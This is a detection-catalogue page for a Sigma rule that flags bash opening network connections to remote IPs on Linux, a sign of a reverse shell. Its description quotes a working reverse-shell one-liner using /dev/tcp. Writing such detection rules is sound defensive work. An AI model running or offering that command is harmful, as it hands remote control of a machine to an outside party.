Sunturai
Back to results
CriticalSigmaHQFlorian Roth (Nextron Systems)

Linux Reverse Shell Indicator

Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')

Detection logic

Detection requirements

Platform
ESXiLinuxmacOSNetwork Devices

The rule states no platform. This is derived from the ATT&CK technique it maps to.

Log source product
linux
Log source category
network_connection

Known benign triggers

  • Unknown

Detections can measure how the public catalogue is used — which detections people look for, and which pages bring them here. It sets a cookie that recognises this browser for 180 days. It is never linked to an account and never follows you to other sites. Privacy notice